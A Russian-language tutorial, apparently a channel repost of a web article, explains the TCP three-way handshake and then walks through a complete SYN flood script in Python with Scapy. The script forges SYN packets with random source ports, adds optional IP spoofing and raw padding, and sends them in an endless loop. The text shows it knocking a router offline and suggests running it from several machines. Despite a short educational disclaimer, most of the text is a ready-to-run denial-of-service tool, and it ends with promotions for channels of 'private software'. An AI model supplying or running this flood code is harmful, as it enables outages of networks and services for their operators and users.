Как сделать атаку SYN Flooding в Python?
BuratinopolBuratinopol - не забудь подписаться на канал!
![](/file/a5b81e03f6337b824a1df.jpg)
Приятного прочтения!
Мы не призываем вас к каким-либо действиям, статья написана исключительно в ознакомительных целях, чтобы уберечь читателя от противоправных действий.
TCP SYN flood использует первую часть TCP three-way handshake, и поскольку каждое соединение, использующее протокол TCP, требует этого, эта атака оказывается опасной и может вывести из строя несколько сетевых компонентов.
Чтобы понять SYN flood, нам сначала нужно поговорить о TCP three-way handshake:
![](https://www.thepythoncode.com/media/articles/syn-flooding-attack-using-scapy-in-python/3-way-tcp-handshake.png)
Когда клиент хочет установить соединение с сервером по протоколу TCP, клиент и сервер обмениваются сериями сообщений:
- Клиент запрашивает соединение, отправляя SYN-сообщение на сервер.
- Сервер отвечает сообщением SYN-ACK (подтверждает запрос).
- Клиенты отвечают с ACK, а затем соединение запускается.
SYN flood attack включает в себя злонамеренного пользователя, который отправляет SYN-пакеты повторно, не отвечая ACK, и часто с разными исходными портами, что делает сервер неосведомленным об атаке, и отвечает на каждую попытку SYN-ACK-пакетом из каждого порта (красная и зеленая часть изображения выше). Таким образом, сервер быстро перестанет отвечать на запросы законных клиентов.
В этом уроке мы реализуем атаку SYN flood с помощью библиотеки Scapy на Python. Чтобы начать работу, вам необходимо установить Scapy:
pip3 install scapy
Копировать
Откройте новый файл Python и импортируйте Scapy:
from scapy.all import *
Копировать
Я собираюсь проверить это на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:
# target IP address (should be a testing router/firewall) target_ip = "192.168.1.1" # the target port u want to flood target_port = 80
Копировать
Если вы хотите попробовать это против вашего маршрутизатора, убедитесь, что у вас есть правильный IP-адрес, вы можете получить адрес шлюза по умолчанию через ipconfigip route
команды и в Windows и macOS/Linux соответственно.
Целевой порт-HTTP, так как я хочу затопить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:
# forge IP packet with target ip as the destination IP address ip = IP(dst=target_ip) # or if you want to perform IP Spoofing (will work as well) # ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
Копировать
Мы указали в dst
качестве целевого IP-адреса, мы также можем установить src
адрес на поддельный случайный IP-адрес в диапазоне частной сети (код комментария), и он также будет работать.
Давайте подделаем наш TCP слой:
# forge a TCP SYN packet with a random source port # and the target port as the destination port tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
Копировать
Таким образом , мы устанавливаем исходный порт (sport
) на случайный короткий (который колеблется от 1 до 65535, как и порты) и dport
(порт назначения) в качестве нашего целевого порта, в этом случае это служба HTTP.
Мы также устанавливаем флаги, на "S"
которые указывает тип SYN.
Теперь давайте добавим некоторые наводнения необработанных данных, чтобы занять сеть:
# add some flooding data (1KB in this case) raw = Raw(b"X"*1024)
Копировать
Потрясающе, теперь давайте сложим слои и отправим пакет:
# stack up the layers p = ip / tcp / raw # send the constructed packet in a loop until CTRL+C is detected send(p, loop=1, verbose=0)
Копировать
Поэтому мы использовали send()
функцию, которая отправляет пакеты на уровне 3, мы установили loop
значение 1, чтобы продолжать посылать до тех пор, пока не нажмем CTRL+C, установка verbose
на 0 ничего не напечатает во время процесса (бесшумно).
Сценарий готов! Теперь, после того как я запустил это против своего маршрутизатора, это заняло несколько секунд, и, конечно же, маршрутизатор перестал работать, и я потерял соединение:
Это вывод следующей команды в Windows:
$ ping -t "192.168.1.1"
Копировать
Он был захвачен с другой машины, отличной от атакующего, поэтому маршрутизатор больше не отвечает.
Чтобы вернуть все в норму, вы можете либо остановить атаку (нажав CTRL+C), если устройство все еще не отвечает, продолжайте и перезагрузите его.
Вывод
Хорошо! если вы попытаетесь запустить скрипт на локальном компьютере, то заметите, что компьютер становится занятым, и задержка значительно увеличится. Вы также можете запустить скрипт на нескольких терминалах или даже на других машинах, чтобы посмотреть, сможете ли вы отключить сеть вашего локального компьютера!
![](/file/662ed0bd1b4e86dc3d7d0.png)
● SOFTWARE — хранилище приватных софтов и прочей годноты. Подпишись!
● CODING — программирование доступным языком.
● Termux - one — гайды и статьи по Termux.